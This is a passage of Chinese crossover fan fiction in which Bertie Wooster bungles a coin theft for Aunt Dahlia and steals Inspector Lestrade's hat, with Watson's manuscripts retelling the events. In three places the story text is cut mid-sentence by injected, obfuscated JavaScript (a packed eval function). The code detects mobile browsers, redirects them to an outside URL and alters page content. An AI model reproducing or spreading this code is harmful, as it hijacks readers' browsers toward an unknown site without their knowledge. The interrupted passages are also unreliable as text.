《[综英美]冤枉啊！福尔摩斯》 2. 第 2 章 我呵呵笑了两声，想装模作样上去帮他弹两下帽檐，但他警惕地退后，像是在防贼。 这多尴尬，我只好说：“别误会，探长先生。刚才有一只花栗鼠跳到了你的帽子上，我想帮你赶走他。” “花栗鼠？”他看我的眼神有些不对劲，“在我帽子上？” “是。” “那我怎么没感觉呢？” “因为它已经跑走了，看！”我指着上面，“它沿着水管爬上去了，钻进了那家人的阳台。哎，真是个狡猾的小家伙。” 他明显不相信我的话，目光更加咄咄逼人，仿佛我已经被他扭送到法庭上了。 我顶住脖子后面的冷汗道：“没关系，花栗鼠很可爱的，不会伤害你。我的男仆吉福斯曾经说过我长得像只花栗鼠，人畜无害，人见人爱，谁瞧了都想亲一口。” 这笑话没逗到他，我担心他掏出手铐把我逮捕，连忙讪讪地说“祝你有个愉快的一天，探长”，脚底一抹油溜了。 我昂首挺胸，装模作样地走进的咖啡馆，仿佛我刚才的举动仅仅是日行一善。但他狐疑的视线一直追在我背后，我心虚地钻进门，寻找侍者。 “先生有预定吗？” “我和冈萨雷斯家的人有个约会。” “议员先生和妹妹已经在等您了。” 我被迎进一间独立包厢，里面坐着两个人，刚好在窗户边上。可惜他们没能看见我挥舞着探长帽子的壮举，不免遗憾。 “你就是伯特伦·威尔博福斯·伍斯特先生？”那个男人站起身，对我伸出手，“唐·卡洛斯·德·托雷-冈萨雷斯，这是我妹妹瓦伦蒂娜。” 我一瞧见他们，就免不了对强压给我这桩婚事的阿加莎姑妈心生怨愤。卡洛斯先生小眼睛，山羊胡，个子不高，板着张脸，好像站在泰晤士河边吸了一下午的冷风。 至于那位瓦伦蒂娜小姐，虽然皮肤白皙，明眸皓齿，然而我盯着她的眼睛，就想象阿加莎姑妈的面孔从背后浮现出来，吓得我心惊胆颤。 直到侍者端上咖啡和茶点，我们都在大眼瞪小眼。终于卡洛斯先生开始问话了：“你有工作吗，伍斯特先生？” “工作？”我立刻摆手，“不不不，我脑子还没有犯浑到那种地步。是不是阿加莎姑妈说了什么？我知道，姑妈们总是嫌弃侄子游手好闲，我之前有一次也被她骗了，差点就跑去上班。还好我及时脑子清醒过来，悬崖勒马，才没有酿成大错。” “那你有多少钱呢？” 我觉得这人好没有礼貌。吉福斯说过，真正的绅士永远不该知道自己有多少银行存款。他还这样问，不是故意为难我的记忆力吗？ “总之够花吧。” “你不工作，那你有地产、股票、债券、基金投资之类的吗？你要怎么养活自己和妻子孩子？” “有一些，经理人会定时告诉我赚了多少，我还有点稿费收入。” “爵位呢？” “我叔叔有个爵位，他没孩子，所以等他仙去之后大概会是我继承。” “叔叔！”不知道为什么，说到这里卡洛斯的眼睛开始放光，叫人看了浑身不适，“你指的是汤姆·特拉弗斯先生吗？” 原来他是认错人了。我解释道：“特拉弗斯先生不是我叔叔，是我姑父，我姑妈达利娅的丈夫。你认识他？” “是啊。”他笑得两只眼睛都找不见了，“我们一直很仰慕他，想去他家里做做客，却始终找不到机会。” 想不到汤姆姑父那老家伙还能有追随者，这对兄妹也是莫名其妙。不过要是能把他们甩去别的地方，不老和我在伦敦碰面，我是乐意的。 “这有什么难？我后天去他们家，你们也一起来，我介绍你们认识。” “那真是太好了！”他终于对我亲切起来，话匣子一开，开始大说特说西班牙的东西，但我一个字也没听进去。 直到五点，哥哥卡洛斯的舌头就没歇息过，妹妹瓦伦蒂娜小姐却一言不发，大概是看我不顺眼。我反而对她感到亲切，想必她对于这桩婚姻也是不愿意的，我俩倒是有共同语言。 离开时我骑士精神大发作，热情地替她拉开椅子披上大衣，却怎么也找不到她的手套。这丫头有些粗心大意，贵族小姐出门如果没有手套保护娇嫩的手，很容易被人看轻了去。 我在晚餐时分回到了家，吉福斯站在门口迎接我：“欢迎回来，先生。” 他好意思装作什么都没发生。我说：“晚上好啊，吉福斯。” 他安安静静地为我脱下外套，端上晚餐，行云流水地和往常一样，就是不问我相亲结果。我憋在肚子里的话无处倾诉，饭都压积食了，终于在二十分钟后开口。 “我说——”我拉长调子，“吉福斯，你不想知道冈萨雷斯兄妹的事情吗？” “卡洛斯先生去年当选众议院议员，家产丰厚，瓦伦蒂娜小姐刚满二十，貌美如花。他们此次来伦敦，主要是游览名胜古迹，尤其对英国的历史很感兴趣。” 我诧异地看向他：“怎么？你从哪里得来的这些消息，我都不知道。” 他微微扬了扬眉毛，只流露出一分得意神情，又很快收敛了：“我和海关登记处秘书长的男仆聊了几句。” 原来是吉福斯独有的人脉，看来他表面上对我不闻不问，背地里暗藏关心。也对，我相信我家好男仆不可能丢下我不管的。 我马上就原谅了白天他对我的冷淡，心窝里温暖极了：“我觉得卡洛斯对我不是很满意，但又不够不满意……你懂我的意思？刚好他们想认识汤姆姑父，所以我邀请他们后天到特拉弗斯家做客。” “特拉弗斯先生，先生？” “对，你刚不是说他们对历史感兴趣吗？我估计是从别人那里听说汤姆姑父有很多收藏。反正到了乡下，他们从别人嘴巴里听听我有多不靠谱，然后卡洛斯先生就该仔细琢磨是否应该把妹妹嫁给我了。” 我对这个计策抱有极大的期待，晚饭过后在床头读了半本小说。 听着吉福斯在浴室放洗澡水的声音，我感叹道：“唉，吉福斯，如果瓦伦蒂娜小姐是纺织女工就好了。” “先生？” “我刚看的这本《纺织女工的倔强》，里面的女主人公莎拉遇见了一位勋爵，勋爵对她一见倾心，但是他姑妈说什么都不同意侄子跨越阶级娶一个工人回家。如果瓦伦蒂娜小姐也是纺织女工，阿加莎姑妈就会递给她一张两百镑的支票，叫她不要靠近我了。当然， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283850|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我绝不是说勋爵就不应该和女工结婚，我不在乎那些封建阶级的，换作我肯定要拍手叫好，但是阿加莎姑妈嘛——” “先生。”他从浴室里走出来，伸手解我的睡衣扣子，因为雾气的原因他的手热乎乎的，“如果瓦伦蒂娜小姐是纺织女工，格雷格森夫人一开始就不会让你们见面。” 我恍然大悟：“哦，你说得对。” “洗澡水合适吗，先生？” “是的，很舒服。谢谢你，吉福斯。” “非常好，先生。” 怀着被冈萨雷斯家族抛弃的向往，我在两天后和吉福斯开着车来到了特拉弗斯家所在的布林克里宅邸。 我的姑妈达利娅嫁给了汤姆·特拉弗斯姑父。他们有一个女儿安吉拉，我的表妹，是位很可爱有点倔强的姑娘。 我在庄园外的山坡上碰见了她：“你怎么一个人散步呢？” 她停下来瞪着我：“伯蒂，你又为什么不说一声就往家里带客人？” “啊？冈萨雷斯兄妹已经到了？可我昨天给你们发过电报呀。” “哦，那准是门房又忘记了。”她跳上我的车，“走吧，塔皮·格罗索普在门厅那对别人家小姐大献殷勤。” 我立刻机敏地发觉事情有变，赶紧开车驶入庄园。那西班牙兄妹俩只比我早到一点，正在和达利娅姑妈说话，而塔皮像只哈巴狗一样围在瓦伦蒂娜小姐身旁，差点把口水滴人家的皮鞋上，全然忘记前天他还和我说在赌马站爱上的姑娘。 安吉拉冷哼一声，不理他们直接绕到房子后面去了。我把汽车交给仆人，带着吉福斯走上前，才刚到门廊下，他突然停住脚步，眼睛直勾勾地盯着卡洛斯先生。 “吉福斯？” “先生。”他一脸惊魂未定，“请原谅我的失态。” “你没事吧？” 他咳嗽一声，又恢复了规规矩矩的仆人姿态：“抱歉，只是有个新发现。” “和我说说？” “你可以放心了，先生。我估计格雷格森夫人强逼你的婚姻还有转机，恐怕瓦伦蒂娜小姐的事另有隐情。” “哦？”我一下子兴奋起来，“你看出什么来了？” “身份。我不想指出得太明白，但很明显，他们的举止行为距离格雷格森夫人所说的家风严谨还具有一定差距。” “你看他们那死鱼眼，还不够严谨吗？” 他摇摇头：“瓦伦蒂娜小姐哥哥的领带。” 我张大嘴：“啊？” 他恨铁不成钢地瞥了我一眼：“一位真正的贵族是绝不会戴马蹄铁图案的领带的。” “什么？” 我立刻看出他是在借机指桑骂槐讽刺我的袜子，老伍斯特这点头脑还是有的：“哦，得了吧，吉福斯！虽然你有你的坚持，但能不能收敛下你的控制欲，不要管到别人哥哥的脖子上？” “我尽量，先生。”他不高兴地说。 “我承认确实不怎么符合你的审美，但也许这是西班牙那热情地界儿的流行风尚呢。” “好的，先生。” 他好像有点委屈，但我比他更委屈。本来以为我们已经和好，没想到他还在计较。我吸吸鼻子，跑去找达利娅姑妈了。 3. 第 3 章 “What ho！达利娅姑妈。” “伯蒂，你这个小讨厌鬼。”达利娅姑妈在门廊下抓住我，把我拉到旁边，“你干嘛随便带人来家里？” 虽然一见面就被责备，但毕竟她是我最喜欢的姑妈，我说：“安吉拉告诉我门房忘了收电报，所以——” “那算他聪明，知道什么该收什么不该收。而有的人就没那么有眼力界儿，不知道什么人该来什么人不该来。”她瞪我，“你看见塔皮·格罗索普那哈喇子了吗？比春汛的泰晤士河水还要泛滥。” 我听懂了她的弦外之音，知道准是安吉拉和塔皮的婚事出了岔子。 “你怪我干什么呢？如果塔皮真的对瓦伦蒂娜小姐着迷，他们未来某一天也会见面的。这都赖你的姐妹，达利娅姑妈。” “我的姐妹？你是说阿加莎？” “正是阿加莎姑妈没错，她硬塞过来想让伯蒂·伍斯特走进教堂。你不用担心，假如我推不掉这桩婚事，等教堂的钟声一敲响，塔皮自然会回到安吉拉身边。” 她翻了个白眼：“那算你倒霉。听着，伯蒂，先不管你的又一次婚约。我叫你来，是手头有个非常棘手的麻烦事。我要你去诺丁山区波特贝罗路的一家小古董店，把里面的一枚金币偷出来。” 这时候吉福斯刚好走回我身后，我转身给了他一个惊异的眼神：“我？去偷金币？！” “别瞎嚷嚷。”她鬼鬼祟祟地四处张望，见除了我们其他人还在远处谈话，才低声继续道，“我是想给你汤姆姑父一个惊喜。你瞧，自从他去了那家斯威登古董店之后，就整天茶饭不思，睡不安稳，日里夜里想的都是那枚金币。如果不能得到它，我们家就没有安宁日子过了呀。” “那他为什么不买下来？一枚金币而已，能要多少钱？” “唉！珍宝有价，人心无价。如果可以买下来，你汤姆姑父也不会变成现在这样。” 她带着我走进宅子，来到楼上汤姆姑父的书房门口。门轻轻半掩着，我趴在门缝朝里看，只见我那可怜的姑父躺在靠椅上，傻愣愣地望着天花板，形容憔悴，比连吃了一星期吉福斯做的蔬菜沙拉还要营养不良。 他嘴里念念有词，我把耳朵贴了过去。 “是‘金币……金币……海盗金币’。”达利娅姑妈把门关上，“他回来后就这样了。” “老天啊。”我感叹着，“比我早上醒来没喝到茶还要惨，是不是，吉福斯？你怎么看？” 他一如既往高深莫测地说：“我认为实地考察是有必要的，先生。‘解铃还须系铃人。’也许我们看到特拉弗斯先生渴望不已的‘海盗金币’后，困难就迎刃而解了。” “关键是那个该死的店主，斯威登，他说什么也不肯把金币卖给汤姆。”姑妈抱怨道，“汤姆第一次到店里拜访时他打算卖，但汤姆没带现金，他又不肯收支票，所以约定好第二天交货，那时候他还恨不得尽快出手的。结果一夜过后他忽然反悔，宁愿退双倍定金也不肯再卖。汤姆和他僵持不下，又拉不下脸和市井小贩争吵，等回到家，就变成现在这样了。” 真是可怜。我实在不忍心看到家里人受罪，立刻义不容辞地揽下任务：“全包在我身上，达利娅姑妈。你看，吉福斯站在这里呢，这世界上还没有他不能解决的问题。” 她眼睛一亮：“你是说吉福斯能把金币偷来？” 轻轻一咳嗽，吉福斯不赞同地道：“恕我直言，夫人，先生，锒铛入狱尚且不在我的职业规划里。” “那就你去，伯蒂。”达利娅姑妈看向我，“你今晚就去。” “嘿！”我抗议道，“我也不想坐牢！” 这和偷警察帽子还是有区别的，我没那么傻。一个只是上法庭交5英镑罚款，另一个可不知道要蹲多久的监狱。 “你不会的，傻瓜。你又不是吉福斯，就算被抓了交点钱就能走人，把它当作偷金币的小小代价吧。就这么说定了，伯蒂，今天晚上，波特贝罗路，137号，斯威登古董店。” 她从怀里摸出一张纸：“这是金币的图案，我从汤姆的书桌上拿来的。” 姑妈们总是想一出是一出，你还不能反驳。但没办法，谁让我离不开这群可爱的亲戚们呢。我只能叫吉福斯和我回房间，仔细商量晚上的偷窃计划。 “波特贝罗路平日里并不是绅士应该去的地方。”吉福斯一边把行李从箱子里整出来，一边说道，“我的某些仆人朋友把那里称作‘鱼龙混杂、包藏罪恶的下九流之地’。” 我站到镜子前：“那我是不是应该换身衣服，吉福斯？我这身穿得可不像是街头流浪汉。” “咳。”他在我背后慢悠悠地说，“很难在两者中发现明显的差别，先生。” 我正想抗议，他把手绕过身侧伸到了我的面前，轻轻解开西装扣子：“鉴于夜间活动将会耗费精力，我建议或许在白天可以养好精神以备不时之需。我将在两个小时后叫醒你，先生。” 我盯着镜子里，越过我的肩膀就能看见他伟岸的身影。他的手臂比我长一些，手也更大，轻松将我环住，三下五除二把我扒得精光，扔到床上塞进被子里。 一沾上枕头，我想说的话立即不翼而飞，只好抓着枕套边缘望着他：“好吧，那我睡了，吉福斯？” “很好，先生。如果有什么需要，请随时拉铃叫我。” 我美美入睡，等吉福斯喊醒我时天色已晚。想到要和冈萨雷斯兄妹同桌吃饭我就没有胃口，便叫吉福斯帮我告病，在卧室里解决了晚饭。 “手套、撬锁工具、梯子……一切准备就绪，让我们出发吧。”我神清气爽、信心满满地说。 “需要看一眼特拉弗斯夫人交给你的图纸吗，先生？上面印有目标金币的样式，好帮助你分辨下手的对象。” “我到了那边再看，吉福斯，现在看我会忘记的。” “好的，先生。我塞在你的内侧口袋里。” 迎着夜色，我和吉福斯开车返回城里，来到波特贝罗路附近。这里的确如吉福斯的朋友所说，不是绅士应该到访之地。随处可见的污渍和青苔爬满墙角，白日里摊贩留下的垃圾堆积在街道两侧，雨后积水溅起的泥沙足以装满两个裤兜。 吉福斯把车停靠在古董店所在巷子的路口，这里房屋都只有一两层，破败不堪，看起来防盗措施也有限。我在联排小屋右侧找到一条十分便于攀爬的排水管道，可以直接登上屋顶。 “吉福斯，看来我们不需要梯子了。” “这的确给我们带来了便利，先生，免去撤退时耽搁的麻烦。我注意到137号的窗户里还有些许灯光，推测那位斯威登店主尚未休息。” “唉，那我们是不是应该等他睡着了再过去？” “我认为现在是个观察店内布置的好时机，否则关灯后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283851|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们很难短时间找到收藏金币的位置。” “你说得对，吉福斯。” 我采纳了他的建议，脱掉外套和帽子，只戴着手套，先爬上屋顶，穿过几户人家来到了古董店上方。他跟着我走到墙角，透过窗帘的缝隙朝里看了看，然后给我打了个手势。 说实话我没看懂他的手势，但我发现了一个入口——倒塌了一半的烟囱。我凑过去瞧了瞧，幸好现在不是维多利亚时期，烟囱已被废弃，不会蹭得我满身黑灰。我钻入烟囱，惊喜地发现楼顶和房梁之间的夹层居然有一个缺口，不知道是年久失修还是什么原因，总之店主还没来得及补上缺漏。 我躲进夹层，又顺着缺口爬到了房梁上，这下我看清了古董店里的摆设：几个雾蒙蒙的橱柜，前台的桌子，供人歇息的茶几和餐椅，以及半开的房门。 那里面应该是仓库，漏出几缕橙黄色的灯光，仔细听还有店主理货的声音。 我趴在房梁上，仔细寻找着看起来像摆放金币的地方。大约十分钟后，我还是什么都没看出来。这时敲门声忽然响起，仓库里店主似乎打碎了什么东西，慌慌张张地出现在房门口，手里攥着拖把棍子。 “谁？” “苏格兰场查案。威廉·斯威登先生，请问你方便开门吗？” 苏格兰场？我赶忙往阴影里退了退，不明白我还没开始偷呢，怎么警察就提前预知我的到来，跑来抓我了？慌慌张张之际，棕黄色头发的小老头店主将门打开一条细缝。 “你、你好？” “晚上好，先生。”门外的声音有些熟悉，“我们接到报案，这条街上有盗贼出没，已经有许多户人家被盗。请问你有丢失财物吗？” “我？没……没有。”我看到店主把手伸进衣服里面摸了一下，“我没丢什么东西。” 就在这个刹那，我看到暗金色的光在他马甲口袋里闪了一下，接着我的脑袋就开始发昏，好似有什么东西堵住了胸口，一口气没喘上来差点从房梁上栽下去。 把它偷走。 如果说直到刚才我还对这次的偷窃计划有所犹豫，但看到这枚金币后，一切都变了。我好像听见某种暗示，突然之间就对那藏在口袋里的东西起了兴趣，下意识地伸出了手。 “是吗？但是以防万一，可否让我进去查看一番？” 啊！我清醒过来，赶紧抱住房梁，不再动弹。 “我……”那老头似乎有些不情愿，但又不敢拒绝警察，僵持了几秒钟后打开店门。 有品位探长走进古董店，他的头上仍然戴着我前几天看上的帽子，羽毛一颤一颤的。我的心也开始颤抖，这下我把金币什么的全忘光了，那个暗示的声音又在我脑海里出现。 偷走它。 偷走它。 我说什么来着？这顶帽子就该被我偷走，否则它不会三番两次出现在我面前，反复诱惑我。有品位探长来到柜台旁边，就在我的正下方，只需要探出半个身子，稍微往下几英寸，就能够着。 于是我便这么做了。 但我忘记了一件事。 “偷”，关键就在于不能被物主察觉，那才叫做偷，否则就是“抢”了。 帽子一离开有品位探长的脑袋，他瞬间抬起头，穿过黑暗朝我望过来。我立马用手里的帽子捂住我的脸，但在短暂四目相对的刹那，我知道他看清了我的面孔，并且认出了我。 4. 第 4 章 我的脑子顿时清醒过来，意识到这个局面的糟糕之处。一声巨响，那是店主的惨叫伴随着探长的怒吼，我唯一能做出的反应就是爬起来把帽子往头上一扣，接着手脚并用地穿过房梁，朝着来时的缺口逃去。 “站住！我要开枪了！” 我浑身发麻，双手抓住缺口边缘往上一窜，随后我听到“砰”地一声，子弹打中了手边的石砖。 我双腿用力一蹬，跃出了房子，慌张地在屋顶查看逃跑路线。 “可耻的罪犯！这里是苏格兰场的雷斯垂德探长，现在立刻举手投降，否则——” “啊！” 我尖叫着朝吉福斯停车的方位跑去，跌跌撞撞地爬下排水管，踩着积水和烂菜叶一路向前，在昏暗灯光下冲到街角，终于看到了我的救星。 “吉福斯，快开车！” 我跳入副驾驶，吉福斯在旁边问道：“先生，你是否成功拿到了……” “别管那个了！警察！” 我看到探长的身影已经出现在巷子口，恨不得伸手去夺方向盘。吉福斯显然意识到了危险，立刻发动汽车，带着我甩开紧追不舍的探长。 看着那要命的身影终于消失在视野里，我只觉得口干舌燥，浑身热得发烫，后脑勺像是被人当头一棒，整个人晕晕乎乎的。 我瘫倒在座位里大口喘气，吉福斯关切地说：“你需要松开领带，先生。” “好主意。”我扯开领带，干脆再解开几颗扣子。惊魂过后我只觉得倍感委屈和难过，如果不是他还在开车，我真想扑在他肩膀上搂住脖子掉眼泪。 “哦，吉福斯，我怎么这么倒霉呀。” “意外在所难免。没有让警察看见你的脸吧，先生？” “事实就是那么糟糕。”我沮丧而焦躁地说，“那位探长不仅看清了我的长相，他还认识我。还记得我和你提起过的有一顶漂亮帽子的探长吗？” “记得，先生。说起帽子，可以解释下这是什么意思吗？” “什么什么意思？” “往后看，先生。” 我转过身，看到后座上是事先准备的梯子和工具箱，上面搭着我的大衣、西装外套和帽子。 “如果放在工具箱上的是你的帽子，那么现在你戴着的是什么，先生？” 我往头上一摸：“对啊！我说的就是这顶帽子！你瞧，吉福斯，那时候探长就站在房梁下面，我一伸手就能够着它。然后我就迷糊了呀，被蛊惑了呀，你说这是不是极漂亮的帽子？” “如果你这么觉得，先生。”他冷冷地说。 我知道我做得过分了，又是袜子又是帽子，吉福斯别提有多生气，觉得我不够听话。但没办法，他的主人我也是有自己的坚持的，世上很难凡事都尽如人意。 气氛僵硬，之后的路程里他一言不发，我头脑昏沉。连夜赶路回去，天蒙蒙亮我们才抵达布林克里宅邸。仆人们都还在睡觉，院子里静悄悄的，只有达利娅姑妈在窗口探头探脑。 “你终于回来了，小讨厌鬼。”她兴奋地说，“如何？” “我和吉福斯吵了一架。” 她困惑地问：“吵了一架？不，我不是问你和吉福斯，我问你金币怎么样了？你偷到了吗？” “金币？”我糊涂了，“什么金币？” “我让你去偷的金币呀？叫你汤姆姑父茶饭不思的金币。” “啊，金币！我——”我卡壳了，“我忘了。” “你忘了？” “忘了。” “可你不是去了吗？怎么就能忘了？” “这件事说来话长，姑妈。你知道男人内心里的火热有时候就是那么突然，我想起上个月在皇家大剧院看的戏剧，主要讲一个裁缝在马路上看到一辆脚踏车……” “伯蒂！”达利娅姑妈打断我的回忆，“你真是天下第一大傻瓜！” ****** ****** 华生医生的手稿（一） 1919年3月5日。 我亲爱的同居人歇洛克·福尔摩斯破案是为了解开谜团、追逐刺激，而不寻求名利。多年以来，他为苏格兰场解开了许多棘手的困难，是全世界独一无二的“咨询侦探”。 下午茶过后，我倚靠在窗边整理上个案子的手稿，余光瞥见楼下熟悉的面孔被房东哈德森太太迎进门。 “雷斯垂德探长来拜访我们了。”福尔摩斯在暖气片边上懒洋洋地说。近日来的阴雨绵绵让衣物都带着寒潮，他把烟丝从波斯拖鞋里拿出来，排在散热片上烘烤。 “你怎么……准是听见了他独一无二的脚步声，福尔摩斯。” “不，我亲爱的华生。”他微微一笑，双指捏起茶几上的纸片，“他昨天让人送过信。” 我发出牦牛似的笑声，让走进客厅的雷斯垂德警探十分迷惑。他气喘吁吁，手里转着顶带有羽毛的时髦扁帽，迫不及待地在桌边坐下。 “劳驾，华生医生，没有人在街角跟踪我吧？” 我探头朝窗外看去：“都是贝克街的熟人。怎么了，探长？你看起来像是被野猪追了五里地。” 他伸直双腿，惊魂未定地喝了口哈德森太太端上来的红茶，才说：“两位还记得我之前在追查外国强盗团伙有关的案件吧？” 他把一双黑色皮质手套递给福尔摩斯。我的朋友来了精神，叼着烟斗里外仔细检查着：“非常精致的羊皮，高档货，但是纽扣疏于打理已经生锈，属于二手商品。里侧原本用绣线缝制了名字或者家徽，已被拆去，可能是不想让人看出是二手，又或者干脆是偷的。” “这是其中一位嫌疑人的。”探长说，“我跟踪他们到了赌马站，碰巧有个贵族子弟捡到这双手套，交给我并拜托我找到失主。” “贵族子弟？”我疑惑道，“这又是怎么回事？” “说来话长……唉！福尔摩斯先生，华生医生，这就是我慌张的原因，我怀疑那强盗团伙背后有上头的势力在支持，这让我对自己的人生安全起了担忧之心。” “所以你认为来贝克街的路上被反跟踪了。”福尔摩斯说。 他充满畏惧地点头：“你对多佛街的无事忙俱乐部知道多少，福尔摩斯？” 我知道我的朋友需要什么，连忙从扶手椅上站起身，从书柜里拿出记载了各种事项的名录。 “D开头……Dhorns Club（无事忙俱乐部），在这儿，福尔摩斯。”我凑到台灯前，和福尔摩斯一起阅读着资料，“位于伦敦梅菲尔区皮卡迪利附近的多佛街。它并不是顶级俱乐部，而是游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283852|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手好闲的贵族子弟聚集之地，通常举办毫无意义的体育比赛，或组织游走在法律边缘的小偷小摸，俱乐部超过一半的成员都曾因为扰乱治安被送上法庭……天啊，福尔摩斯，这简直就是个滋生犯罪的温床。” “越是往权利阶层的上方爬，越能看见超出你想象的邪恶犯罪。”福尔摩斯也认真起来，他合上书，锐利的目光在手套上停留了几秒。 “我猜你已经去过俱乐部了，雷斯垂德？” “正因为如此，才把我推入了危险境地。”探长像水牛一样拼命灌着茶，“我在和交给我手套的人说话时，发现有位非常可疑的年轻人盯着我看。我察觉之后，他丝毫不避讳，主动上来打招呼，我当时并没有怀疑他。但几小时后，我跟踪强盗团伙去了牛津街的福南梅森咖啡馆，那人竟然偷偷溜到我的背后，举着手杖想要袭击我。” 我倒抽一口冷气：“在牛津街？这也太无法无天了！” “幸好我机敏，没让他得手。他大言不惭地说了堆什么花栗鼠之类的胡言乱语，然后大摇大摆地走进咖啡馆，和那伙强盗会面。” 我为雷斯垂德捏了把汗，福尔摩斯也走到他背后，在脑子里模拟当时的场景。他把手指交叉放在嘴前，眼珠转动着：“你知道他的名字吗，雷斯垂德？” “伯特伦·威尔博福斯·伍斯特。我偷偷返回俱乐部打听过，每个我询问的人都说伍斯特先生是个傻瓜。他肯定给了他们封口费，或是威胁他们撒谎，口径太统一了，不可能所有人都觉得他是傻瓜。但我担心引起眼线们的注意，不敢多问，估计下次也没法去了。贵族们都沾亲带故，我这个生面孔太显眼。” “你是对的，雷斯垂德。”福尔摩斯矫健地跃上沙发，抓过纸笔开始书写，“我哥哥在政府有一些人脉，也许他能知道伍斯特先生的信息，我帮你问问他。” 我也安慰道：“你放心，探长，在正义的福尔摩斯面前，再大的权势也是徒劳。不过，我记得你说那伙外国强盗也是有头有脸的人物，说不定这里面的水比我们想象得还深，你出门可万事小心。” “我不这么认为。”唰唰书写的福尔摩斯反驳道，“给你手套的人都说了什么？” “那家伙是个白痴，什么都记不清。只知道女嫌疑人脸蛋好看，男嫌疑人系着马蹄铁图案的领带。” 我看到精光在福尔摩斯眼中一闪。 “如果他记忆没出错的话，我可以确定，那两人的确是冒牌的西班牙贵族。” 看他这么笃定，我好奇地问道：“你甚至没见过他们，福尔摩斯。你那套演绎法是怎么用上的？” “很简单，我亲爱的医生：真正的贵族绝不会戴马蹄铁图案的领带。” 我和雷斯垂德探长都愣了一下，然后哈哈大笑起来。 “这太荒谬了！”我捧着肚子，“如果你告诉我，你从不小心滴在胸前的果酱推断出对方刚在利兹饭店用过餐；又或者根据领带打结的方向，推测他是个左撇子，我都相信你。但你说贵族不应该喜欢马蹄铁？” 见我和雷斯垂德探长跌倒在沙发上，福尔摩斯对我们的态度很不满，把嘴一撇：“尽情地笑吧，两位，你们压根就没这方面的熏陶。但事实如此，一位合格的绅士守则就是这样，世界上肯定还有另一个人同意我的观点。” 5. 第 5 章 华生医生的手稿（二） 1919年3月8日。 清晨时分，我和福尔摩斯被哈德森太太从睡梦中叫醒。雷斯垂德站在客厅里，双手抱在胸前瑟瑟发抖，他的帽子不翼而飞，头发凌乱，仿佛刚从一场剧烈的暴风雪中存活下来。 福尔摩斯披上睡袍，快步将沙发挪到暖气片边上，关切地对他伸手示意：“赶紧歇歇脚吧，雷斯垂德。尽管现在才3月份，但什么让你如此惊慌？你抖得像是冰天雪地里的梅花鹿。” 我和哈德森太太去隔壁的锅炉房添了煤，返回221B时他仍旧是惊魂未定的模样，直立着一言不发。我和福尔摩斯对视一眼，去酒柜里拿出白兰地，倒了半杯递过去。 他猛地灌下两口，才颤抖着说：“上帝啊，福尔摩斯，你不知道我今晚看见了什么。” 我拉住他的胳膊，让他安稳地坐进沙发里，好一会儿他才继续道：“这几日，我根据你给我的指示，追查到那伙强盗曾经去过波特贝罗路，平日是个流浪汉据点，到了周末倒卖些似真非假的古董文物。由于眼线说他们昨天出了城，我和手下就大胆地挨家挨户询问，直到半夜。” 他将酒杯喝了个干净，我不敢再添，幸好哈德森太太及时塞了个暖水袋过来。 “我敲开137号斯威登古董店的门，店主正在理货。我原本以为又是一次无功而返，然而……”他抱紧了暖水袋，“突然一只手从房梁上伸出来，抢走了我的帽子！” 我们听故事的三人都沉默了。 “帽子？”哈德森太太咕哝道。 他摸了把头顶灰白色的乱发：“是的，我的帽子！我顺着那只手往上看……上帝啊，那是我从未见过的一双可怖的眼睛！我可以发誓，这是我从事警察行业以来第一次如此害怕。它们凶恶地在黑暗里凝视着我，带着抹贪婪的、邪恶的意味，以及达到目的后那得意的笑容，让我毛骨悚然。” 我和福尔摩斯面面相觑：“是谁？”我心里已有了猜想。 “伍斯特先生。”他说出了我的猜测。 雷斯垂德慌乱地点了点头，飞快笑了下，想要缓解紧张和尴尬的气氛，可惜收效甚微：“他很快隐入了黑暗之中，躲藏进屋顶。我当时还留有一丝勇气，拔枪朝他射击，但没打中。我冲出街道，只看见他的手下开车接走了他，离去时，他反身回望着我，面无表情，双目十分渗人。” “这简直太可恶了！”我愤怒地说，“挑衅苏格兰场的警官，捉弄你，他是觉得自己可以无法无天吗？” 我看向福尔摩斯寻求认同。但我的老朋友蜷缩在沙发上，膝盖抵在胸前，十指交叠摆出他往常思考的姿势，盯着茶几发呆。 “福尔摩斯？” “抱歉。”他困惑地说，“我只是不明白。” “你不明白什么？” 他指了指茶几：“你会在里面找到昨日下午从第欧根尼俱乐部寄出的回信。迈克罗夫特去欧洲出席外交会议，没法回答我们的疑问，但他的男仆理查德森对我们的指控表示是‘无稽之谈。’” “你是说理查德森不认为伍斯特先生是犯罪分子？” “的确，华生。他声称那是‘酒桌上引人发笑的幽默之语’。我进一步问他有关伍斯特先生的信息，他却不肯说更多，直言他没有权利泄漏关于雇主的隐私。” 